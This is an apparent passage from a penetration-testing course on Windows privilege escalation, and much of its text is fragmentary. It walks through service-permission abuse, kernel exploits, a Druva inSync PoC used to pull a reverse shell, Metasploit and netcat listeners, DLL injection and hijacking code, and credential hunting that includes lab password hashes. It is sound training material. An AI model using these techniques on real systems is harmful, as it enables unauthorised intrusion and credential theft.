binary and replace it with a malicious binary generated with msfvenom . It can give us a
reverse shell as SYSTEM , or add a local admin user and give us full administrative control
over the machine.
Name : WindscribeService
DisplayName : WindscribeService
Description : Manages the firewall and controls the VPN tunnel
State : Running
StartMode : Auto
PathName : "C:\Program Files
(x86)\Windscribe\WindscribeService.exe"
Next, we'll use AccessChk from the Sysinternals suite to enumerate permissions on the
service. The flags we use, in order, are -q (omit banner), -u (suppress errors), -v
(verbose), -c (specify name of a Windows service), and -w (show only objects that have
write access). Here we can see that all Authenticated Users have SERVICE_ALL_ACCESS
rights over the service, which means full read/write control over it.
WindscribeService
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
Members
--------------------------------------------------------------------------
-----
Administrator
mrb3n
The command completed successfully.
Stopping Service
Next, we must stop the service, so the new binpath command will run the next time it is
started.
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0
The service did not respond to the start or control request in a timely
fashion.
Finally, check to confirm that our user was added to the local administrators group.
Members
--------------------------------------------------------------------------
-----
Administrator
htb-student
mrb3n
The command completed successfully.
Another notable example is the Windows Update Orchestrator Service (UsoSvc), which is
responsible for downloading and installing operating system updates. It is considered an
essential Windows service and cannot be removed. Since it is responsible for making
changes to the operating system through the installation of security and feature updates, it
runs as the all-powerful NT AUTHORITY\SYSTEM account. Before installing the security patch
relating to CVE-2019-1322, it was possible to elevate privileges from a service account to
SYSTEM . This was due to weak permissions, which allowed service accounts to modify the
service binary path and start/stop the service.
SERVICE_NAME: WindScribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 1716
FLAGS :
SERVICE_NAME: WindScribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 Running
(STOPPABLE, NOT_PAUSABLE,
ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Windows will decide the execution method of a program based on its file extension, so it's
not necessary to specify it. Windows will attempt to load the following potential executables
in order on service start, with a .exe being implied:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64
Querying Service
C:\htb> sc qc SystemExplorerHelpService
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System
Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
If we can create the following files, we would be able to hijack the service binary and gain
command execution in the context of the service, in this case, NT AUTHORITY\SYSTEM .
C:\Program.exe\
C:\Program Files (x86)\System.exe
However, creating files in the root of the drive or the program files folder requires
administrative privileges. Even if the system had been misconfigured to allow this, the user
probably wouldn't be able to restart the service and would be reliant on a system restart to
escalate privileges. Although it's not uncommon to find applications with unquoted service
paths, it isn't often exploitable.
RW HKLM\System\CurrentControlSet\services\ModelManagerService
KEY_ALL_ACCESS
<SNIP>
Name : OneDrive
command : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
/background
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-
1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : Windscribe
command : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os_restart
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-
1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : SecurityHealth
command : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
This post and this site detail many potential autorun locations on Windows systems.
Kernel Exploits
It's a big challenge to ensure that all user desktops and servers are updated, and 100%
compliance for all computers with security patches is likely not an achievable goal. Assuming
a computer has been targeted for installation of updates, for example, using SCCM
(Microsoft System Center Configuration Manager) or WSUS (Windows Server Update
Services), there are still many reasons they could fail to install. Over the years, there have
been many kernel exploits that affect the Windows operating system from Windows 2000/XP
up to Windows 10/Server 2016/2019. Below can be found a detailed table of known remote
code execution/local privilege escalation exploits for Windows operating systems, broken
down by service pack level, from Windows XP onward to Server 2016.
This site is handy for searching out detailed information about Microsoft security
vulnerabilities. This database has 4,733 security vulnerabilities entered at the time of writing,
showing the massive attack surface that a Windows environment presents.
As we can see from this table, there are many exploits that work for Windows XP up through
Server 2012R2. As we get to Windows 10 and Server 2016, there are fewer known exploits.
This is partly due to changes to the operating system over time, including security
improvements and deprecation of older versions of protocols such as SMB. One important
thing to note from this table is that when new vulnerabilities are discovered or exploits
released (such as MS17-010), these usually trickle down and affect prior operating system
versions. This is why it is vital to stay on top of patching or upgrading, retiring, or segregating
off Windows systems that have reached end of life. We will explore this in more depth later
on in this module.
It is important to note that while some of the examples above are remote code execution
vulnerabilities, we can just as easily use them to escalate privileges. One example is if we
gain access to a system and notice a port such as 445 (SMB service) not accessible from
the outside, we may be able to privilege escalate if it is vulnerable to something such as
EternalBlue (MS17-010). In this case, we could either port forward the port in question to be
accessible from our attack host or run the exploit in question locally to escalate privileges.
Notable Vulnerabilities
Over the years, there have been many high-impact Windows vulnerabilities that can be
leveraged to escalate privileges, some being purely local privilege escalation vectors and
others being remote code execution (RCE) flaws that can be used to escalate privileges by
forwarding a local port. One example of the latter would be landing on a box that does not
allow access to port 445 from the outside, performing port forward to access this port from
our attack box, and leveraging a remote code execution flaw against the SMB service to
escalate privileges. Below are some extremely high-impact Windows vulnerabilities over the
years that can be leveraged to escalate privileges.
MS08-067 - This was a remote code execution vulnerability in the "Server" service due to
improper handling of RPC requests. This affected Windows Server 2000, 2003, and 2008
and Windows XP and Vista and allows an unauthenticated attacker to execute arbitrary code
with SYSTEM privileges. Though typically encountered in client environments as a remote
code execution vulnerability, we may land on a host where the SMB service is blocked via
the firewall. We can use this to escalate privileges after forwarding port 445 back to our
attack box. Though this is a "legacy" vulnerability, I still do see this pop up from time to time
in large organizations, especially those in the medical industry who may be running specific
applications that only work on older versions of Windows Server/Desktop. We should not
discount older vulnerabilities even in 2021. We will run into every scenario under the sun
while performing client assessments and must be ready to account for all possibilities. The
box Legacy on the Hack The Box platform showcases this vulnerability from the remote code
execution standpoint. There are standalone as well as a Metasploit version of this exploit.
MS17-010 - Also known as EternalBlue is a remote code execution vulnerability that was
part of the FuzzBunch toolkit released in the Shadow Brokers leak. This exploit leverages a
vulnerability in the SMB protocol because the SMBv1 protocol mishandles packets specially
crafted by an attacker, leading to arbitrary code execution on the target host as the SYSTEM
account. As with MS08-067, this vulnerability can also be leveraged as a local privilege
escalation vector if we land on a host where port 445 is firewalled off. There are various
versions of this exploit for the Metasploit Framework as well as standalone exploit scripts.
This attack was showcased in the Blue box on Hack The Box, again from the remote
standpoint.
ALPC Task Scheduler 0-Day - The ALPC endpoint method used by the Windows Task
Scheduler service could be used to write arbitrary DACLs to .job files located in the
C:\Windows\tasks directory. An attacker could leverage this to create a hard link to a file
that the attacker controls. The exploit for this flaw used the SchRpcSetSecurity API function
to call a print job using the XPS printer and hijack the DLL as NT AUTHORITY\SYSTEM via
the Spooler service. An in-depth writeup is available here. The Hack The Box box Hackback
can be used to try out this privilege escalation exploit.
Summer of 2021 revealed a treasure trove of new Windows and Active Directory-related
remote code execution and local privilege escalation flaws to the delight of penetration
testers (and real-world attackers), and I'm sure groans from our hard-working colleagues on
the defense side of things.
Successful exploitation also requires the presence of one or more shadow copies. Most
Windows 10 systems will have System Protection enabled by default which will create
periodic backups, including the shadow copy necessary to leverage this flaw.
PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe
Running...
Success: SAM hive from 2021-08-07 written out to current working directory
as SAM-2021-08-07
These copies can then be transferred back to the attack host, where impacket-secretsdump
is used to extract the hashes:
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Now we can import the PowerShell script and use it to add a new local admin user.
This is a small sampling of some of the highest impact vulnerabilities. While it is imperative
for us to understand and be able to enumerate and exploit these vulnerabilities, it is also
important to be able to detect and leverage lesser-known flaws.
PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix
We can search for each KB (Microsoft Knowledge Base ID number) in the Microsoft Update
Catalog to get a better idea of what fixes have been installed and how far behind the system
may be on security updates. A search for KB5000808 shows us that this is an update from
March of 2021, which means the system is likely far behind on security updates.
CVE-2020-0668 Example
Next, let's exploit Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege
Vulnerability, which exploits an arbitrary file move vulnerability leveraging the Windows
Service Tracing. Service Tracing allows users to troubleshoot issues with running services
and modules by generating debug information. Its parameters are configurable using the
Windows registry. Setting a custom MaxFileSize value that is smaller than the size of the file
prompts the file to be renamed with a .OLD extension when the service is triggered. This
move operation is performed by NT AUTHORITY\SYSTEM , and can be abused to move a file
of our choosing with the help of mount points and symbolic links.
PRIVILEGES INFORMATION
----------------------
CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml
At this point, we can use the exploit to create a file of our choosing in a protected folder such
as C:\Windows\System32. We aren't able to overwrite any protected Windows files. This
privileged file write needs to be chained with another vulnerability, such as UsoDllLoader or
DiagHub to load the DLL and escalate our privileges. However, the UsoDllLoader technique
may not work if Windows Updates are pending or currently being installed, and the DiagHub
service may not be available.
We can also look for any third-party software, which can be leveraged, such as the Mozilla
Maintenance Service. This service runs in the context of SYSTEM and is startable by
unprivileged users. The (non-system protected) binary for this service is located below.
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
We can download it to the target using cURL after starting a Python HTTP server on our
attack host like in the User Account Control section previously. We can also use wget
from the target.
We need to do this because running the exploit corrupts the malicious version of
maintenanceservice.exe that is moved to (our copy in c:\Users\htb-student\Desktop
that we are targeting) c:\Program Files (x86)\Mozilla Maintenance
Service\maintenanceservice.exe which we will need to account for later. If we attempt to
utilize the copied version, we will receive a system error 216 because the .exe file is no
longer a valid binary.
The exploit runs and executing icacls again shows the following entry for our user:
WINLPE-WS02\htb-student:(F) . This means that our htb-student user has full control over
the maintenanceservice.exe binary, and we can overwrite it with a non-corrupted version of
our malicious binary.
BUILTIN\Administrators:(F)
WINLPE-WS02\htb-student:(F)
1 file(s) copied.
Next, save the below commands to a Resource Script file named handler.rc .
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
. .
.
.
.
o To boldly go where no
shell has gone before
=[ metasploit v6.0.9-dev ]
+ -- --=[ 2069 exploits - 1123 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Use the resource command to run commands from a file
Computer : WINLPE-WS02
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 6
Meterpreter : x64/windows
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d
7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
htb-
student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a0
6ea6:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c
58:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae
2f99d4fa66dceb:::
Vulnerable Services
Name
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4023057)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127
VMware Tools
Druva inSync 6.6.3
Microsoft Update Health Tools
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4480730)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127
The output looks mostly standard for a Windows 10 workstation. However, the Druva
inSync application stands out. A quick Google search shows that version 6.6.3 is
vulnerable to a command injection attack via an exposed RPC service. We may be able to
use this exploit PoC to escalate our privileges. From this blog post which details the initial
discovery of the flaw, we can see that Druva inSync is an application used for “Integrated
backup, eDiscovery, and compliance monitoring,” and the client application runs a service in
the context of the powerful NT AUTHORITY\SYSTEM account. Escalation is possible by
interacting with a service running locally on port 6064.
Let's do some further enumeration to confirm that the service is running as expected. A quick
look with netstat shows a service running locally on port 6064 .
Enumerating Process ID
Next, let's map the process ID (PID) 3324 back to the running process.
At this point, we have enough information to determine that the Druva inSync application is
indeed installed and running, but we can do one last check using the Get-Service cmdlet.
With this information in hand, let's try out the exploit PoC, which is this short PowerShell
snippet.
$ErrorActionPreference = "Stop"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
Modify the $cmd variable in the Druva inSync exploit PoC script to download our PowerShell
reverse shell into memory.
Next, start a Python web server in the same directory where our script.ps1 script resides.
nc -lvnp 9443
PS C:\WINDOWS\system32>whoami
nt authority\system
PS C:\WINDOWS\system32> hostname
WINLPE-WS01
Moving On
This example shows just how risky it can be to allow users to install software on their
machines and how we should always enumerate installed software if we land on a Windows
server or desktop host. Organizations should restrict local administrator rights on end-user
machines following the principle of least privilege. Furthermore, an application whitelisting
tool can help ensure that only properly vetted software is installed on user workstations.
DLL Injection
DLL injection is a method that involves inserting a piece of code, structured as a Dynamic
Link Library (DLL), into a running process. This technique allows the inserted code to run
within the process's context, thereby influencing its behavior or accessing its resources.
DLL injection finds legitimate applications in various areas. For instance, software
developers leverage this technology for hot patching , a method that enables the
amendment or updating of code seamlessly, without the need to restart the ongoing process
immediately. A prime example of this is Azure's use of hot patching for updating operational
servers, which facilitates the benefits of the update without necessitating server downtime.
Nevertheless, it's not entirely innocuous. Cybercriminals often manipulate DLL injection
to insert malicious code into trusted processes. This technique is particularly effective in
evading detection by security software.
There are several different methods for actually executing a DLL injection.
LoadLibrary
LoadLibrary is a widely utilized method for DLL injection, employing the LoadLibrary API
to load the DLL into the target process's address space.
The LoadLibrary API is a function provided by the Windows operating system that loads a
Dynamic Link Library (DLL) into the current process’s memory and returns a handle that can
be used to get the addresses of functions within the DLL.
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary to load a DLL into the current process
HMODULE hModule = LoadLibrary("example.dll");
if (hModule == NULL) {
printf("Failed to load example.dll\n");
return -1;
}
printf("Successfully loaded example.dll\n");
return 0;
}
The first example shows how LoadLibrary can be used to load a DLL into the current
process legitimately.
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary for DLL injection
// First, we need to get a handle to the target process
DWORD targetProcessId = 123456 // The ID of the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
targetProcessId);
if (hProcess == NULL) {
printf("Failed to open target process\n");
return -1;
}
// Next, we need to allocate memory in the target process for the DLL
path
LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL,
strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddressInRemoteMemory == NULL) {
printf("Failed to allocate memory in target process\n");
return -1;
}
// Write the DLL path to the allocated memory in the target process
BOOL succeededWriting = WriteProcessMemory(hProcess,
dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
if (!succeededWriting) {
printf("Failed to write DLL path to target process\n");
return -1;
}
return 0;
}
The second example illustrates the use of LoadLibrary for DLL injection. This process
involves allocating memory within the target process for the DLL path and then initiating a
remote thread that begins at LoadLibrary and directs towards the DLL path.
Manual Mapping
Manual Mapping is an incredibly complex and advanced method of DLL injection. It involves
the manual loading of a DLL into a process's memory and resolves its imports and
relocations. However, it avoids easy detection by not using the LoadLibrary function,
whose usage is monitored by security and anti-cheat systems.
Stephen Fewer has a great GitHub demonstrating the technique. Borrowing his explanation
below:
"The procedure of remotely injecting a library into a process is two-fold. First, the library you
aim to inject must be written into the target process’s address space (hereafter referred to as
the 'host process'). Second, the library must be loaded into the host process to meet the
library's runtime expectations, such as resolving its imports or relocating it to an appropriate
location in memory.
Assuming we have code execution in the host process and the library we aim to inject has
been written into an arbitrary memory location in the host process, Reflective DLL Injection
functions as follows.
DLL Hijacking
DLL Hijacking is an exploitation technique where an attacker capitalizes on the Windows
DLL loading process. These DLLs can be loaded during runtime, creating a hijacking
opportunity if an application doesn't specify the full path to a required DLL, hence rendering it
susceptible to such attacks.
The default DLL search order used by the system depends on whether Safe DLL Search
Mode is activated. When enabled (which is the default setting), Safe DLL Search Mode
repositions the user's current directory further down in the search order. It’s easy to either
enable or disable the setting by editing the registry.
With this mode enabled, applications search for necessary DLL files in the following
sequence:
However, if 'Safe DLL Search Mode' is deactivated, the search order changes to:
DLL Hijacking involves a few more steps. First, you need to pinpoint a DLL the target is
attempting to locate. Specific tools can simplify this task:
1. Process Explorer : Part of Microsoft's Sysinternals suite, this tool offers detailed
information on running processes, including their loaded DLLs. By selecting a process
and inspecting its properties, you can view its DLLs.
2. PE Explorer : This Portable Executable (PE) Explorer can open and examine a PE file
(such as a .exe or .dll). Among other features, it reveals the DLLs from which the file
imports functionality.
After identifying a DLL, the next step is determining which functions you want to modify,
which necessitates reverse engineering tools, such as disassemblers and debuggers. Once
the functions and their signatures have been identified, it's time to construct the DLL.
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>
int readIntegerInput()
{
int value;
char input[100];
bool isValid = false;
while (!isValid)
{
fgets(input, sizeof(input), stdin);
if (sscanf(input, "%d", &value) == 1)
{
isValid = true;
}
else
{
printf("Invalid input. Please enter an integer: ");
}
}
return value;
}
int main()
{
HMODULE hLibrary = LoadLibrary("library.dll");
if (hLibrary == NULL)
{
printf("Failed to load library.dll\n");
return 1;
}
FreeLibrary(hLibrary);
system("pause");
return 0;
}
It loads an add function from the library.dll and utilises this function to add two
numbers. Subsequently, it prints the result of the addition. By examining the program in
Process Monitor (procmon), we can observe the process of loading the library.dll
located in the same directory.
First, let's set up a filter in procmon to solely include main.exe , which is the process name
of the program. This filter will help us focus specifically on the activities related to the
execution of main.exe . It is important to note that procmon only captures information while
it is actively running. Therefore, if your log appears empty, you should close main.exe and
reopen it while procmon is running. This will ensure that the necessary information is
captured and available for analysis.
Then if you scroll to the bottom, you can see the call to load library.dll .
We can further filter for an Operation of Load Image to only get the libraries the app is
loading.
Proxying
We can utilize a method known as DLL Proxying to execute a Hijack. We will create a new
library that will load the function Add from library.dll , tamper with it, and then return it to
main.exe .
1. Create a new library: We will create a new library serving as the proxy for
library.dll . This library will contain the necessary code to load the Add function
from library.dll and perform the required tampering.
2. Load the Add function: Within the new library, we will load the Add function from the
original library.dll . This will allow us to access the original function.
3. Tamper with the function: Once the Add function is loaded, we can then apply the
desired tampering or modifications to its result. In this case, we are simply going to
modify the result of the addition, to add + 1 to the result.
4. Return the modified function: After completing the tampering process, we will return the
modified Add function from the new library back to main.exe . This will ensure that
when main.exe calls the Add function, it will execute the modified version with the
intended changes.
The code is as follows:
// tamper.c
#include <stdio.h>
#include <Windows.h>
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif
As we know, main.exe searches in many locations looking for x.dll , but it doesn’t find it
anywhere. The entry we are particularly interested in is:
#include <stdio.h>
#include <Windows.h>
This code defines a DLL entry point function called DllMain that is automatically called by
Windows when the DLL is loaded into a process. When the library is loaded, it will simply
print Hijacked... Oops... to the terminal, but you could theoretically do anything here.
Either compile it or use the precompiled version provided. Rename hijack.dll to x.dll ,
and run main.exe .
Credential Hunting
Credentials can unlock many doors for us during our assessments. We may find credentials
during our privilege escalation enumeration that can lead directly to local admin access,
grant us a foothold into the Active Directory domain environment, or even be used to
escalate privileges within the domain. There are many places that we may find credentials
on a system, some more obvious than others.
Sensitive IIS information such as credentials may be stored in a web.config file. For the
default IIS website, this could be located at C:\inetpub\wwwroot\web.config , but there
may be multiple versions of this file in different locations, which we can search for
recursively.
Dictionary Files
Chrome Dictionary Files
Another interesting case is dictionary files. For example, sensitive information such as
passwords may be entered in an email client or a browser-based application, which
underlines any words it doesn't recognize. The user may add these words to their dictionary
to avoid the distracting red underline.
PS C:\htb> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User
Data\Default\Custom Dictionary.txt' | Select-String password
Password1234!
Unattend.xml
Although these files should be automatically deleted as part of the installation, sysadmins
may have created copies of the file in other folders during the development of the image and
answer file.
C:\Users\
<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Consol
eHost_history.txt .
As seen in the (handy) Windows Commands PDF, published by Microsoft here, there are
many commands which can pass credentials on the command line. We can see in the
example below that the user-specified local administrative credentials to query the
Application Event Log using wevutil.
PS C:\htb> (Get-PSReadLineOption).HistorySavePath
C:\Users\htb-
student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHos
t_history.txt
PS C:\htb> gc (Get-PSReadLineOption).HistorySavePath
dir
cd Temp
md backups
cp c:\inetpub\wwwroot\* .\backups\
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol =
[System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-
Object
System.Net.WebClient).DownloadString('https://www.powershellgallery.com/pa
ckages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1'))
. .\Get-IISsite.ps1
Get-IISsite -Server WEB02 -web "Default Web Site"
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text
/rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02
We can also use this one-liner to retrieve the contents of all Powershell history files that we
can access as our current user. This can also be extremely helpful as a post-exploitation
step. We should always recheck these files once we have local admin if our prior access did
not allow us to read the files for some users. This command assumes that the default save
path is being used.
dir
cd Temp
md backups
cp c:\inetpub\wwwroot\* .\backups\
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol =
[System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-
Object
System.Net.WebClient).DownloadString('https://www.powershellgallery.com/pa
ckages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1'))
. .\Get-IISsite.ps1
Get-IISsite -Server WEB02 -web "Default Web Site"
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text
/rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02
PowerShell Credentials
PowerShell credentials are often used for scripting and automation tasks as a way to store
encrypted credentials conveniently. The credentials are protected using DPAPI, which
typically means they can only be decrypted by the same user on the same computer they
were created on.
Take, for example, the following script Connect-VC.ps1 , which a sysadmin has created to
connect to a vCenter server easily.
# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password
$decryptedPassword
bob
PS C:\htb> $credential.GetNetworkCredential().password
Str0ng3ncryptedP@ss!
Other Files
There are many other types of files that we may find on a local system or on network share
drives that may contain credentials or additional information that can be used to escalate
privileges. In an Active Directory environment, we can use a tool such as Snaffler to crawl
network share drives for interesting file extensions such as .kdbx , .vmdk , .vdhx , .ppk ,
etc. We may find a virtual hard drive that we can mount and extract local administrator
password hashes from, an SSH private key that can be used to access other systems, or
instances of users storing passwords in Excel/Word Documents, OneNote workbooks, or
even the classic passwords.txt file. I have performed many penetration tests where a
password found on a share drive or local drive led to either initial access or privilege
escalation. Many companies provide each employee with a folder on a file share mapped to
their user id, i.e., the folder bjones on the users share on a server called FILE01 with
loose permissions applied (i.e., all Domain Users with read access to all user folders). We
often find users saving sensitive personal data in these folders, unaware they are accessible
to everyone in the network and not just local to their workstation.
Manually Searching the File System for Credentials
We can search the file system or share drive(s) manually using the following commands
from this cheatsheet.
stuff.txt
stuff.txt:password: l#-x9r11_2_GL!
stuff.txt:1:password: l#-x9r11_2_GL!
stuff.txt:1:password: l#-x9r11_2_GL!
c:\inetpub\wwwroot\web.config
Similarly, we can search the file system for certain file extensions with a command such as:
Directory: C:\inetpub\wwwroot
<SNIP>
PS C:\htb> ls
Directory: C:\Users\htb-
student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbw
e\LocalState
We can copy the three plum.sqlite* files down to our system and open them with a tool
such as DB Browser for SQLite and view the Text column in the Note table with the query
select Text from Note; .
PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\htb-
student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbw
e\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note"
| ft -wrap
Text
----
\id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter
\id=e4adae4c-a40b-48b4-93a5-900247852f96
\id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n!
\id=c450fc5f-dc51-4412-b4ac-321fd41c522a Thycotic demo tomorrow at 10am
strings plum.sqlite-wal
<SNIP >
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
Some of the privilege escalation enumeration scripts listed earlier in this module search for
most, if not all, of the files/extensions mentioned in this section. Nevertheless, we must
understand how to search for these manually and not only rely on tools. Furthermore, we
may find interesting files that enumeration scripts do not look for and wish to modify the
scripts to include them.
Target: LegacyGeneric:target=TERMSRV/SQL01
Type: Generic
User: inlanefreight\bob
When we attempt to RDP to the host, the saved credentials will be used.
We can also attempt to reuse the credentials using runas to send ourselves a reverse shell
as that user, run a binary, or launch a PowerShell or CMD console with a command such as:
Browser Credentials
Retrieving Saved Credentials from Chrome
Users often store credentials in their browsers for applications that they frequently visit. We
can use a tool such as SharpChrome to retrieve cookies and saved logins from Google
Chrome.
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.7.0
file_path,signon_realm,origin_url,date_created,times_used,username,passwor
d
C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login
Data,https://vc01.inlanefreight.local/,https://vc01.inlanefreight.local/ui
,4/12/2021 5:16:52 PM,13262735812597100,[email protected],Welcome1
Password Managers
Many companies provide password managers to their users. This may be in the form of a
desktop application such as KeePass , a cloud-based solution such as 1Password , or an
enterprise password vault such as Thycotic or CyberArk . Gaining access to a password
manager, especially one utilized by a member of the IT staff or an entire department, may
lead to administrator-level access to high-value targets such as network devices, servers,
databases, etc. We may gain access to a password vault through password reuse or
guessing a weak/common password. Some password managers such as KeePass are
stored locally on the host. If we find a .kdbx file on a server, workstation, or file share, we
know we are dealing with a KeePass database which is often protected by just a master
password. If we can download a .kdbx file to our attacking host, we can use a tool such as
keepass2john to extract the password hash and run it through a password cracking tool such
as Hashcat or John the Ripper.
ILFREIGHT_Help_Desk:$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d582
0ca1718877889f44e2c4c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745
d3465cf2e03086bc6f483d0*7df525a2b843990840b249324d55b6ce*75e830162befb1732
4d6be83853dbeb309ee38475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0
259c19ec71a8b32f91b2aaaaf032740a39c154
We can then feed the hash to Hashcat, specifying hash mode 13400 for KeePass. If
successful, we may gain access to a wealth of credentials that can be used to access other
applications/systems or even network devices, servers, databases, etc., if we can gain
access to a password database used by IT staff.
<SNIP>
$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4
c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745d3465cf2e03086bc6f48
3d0*7df525a2b843990840b249324d55b6ce*75e830162befb17324d6be83853dbeb309ee3
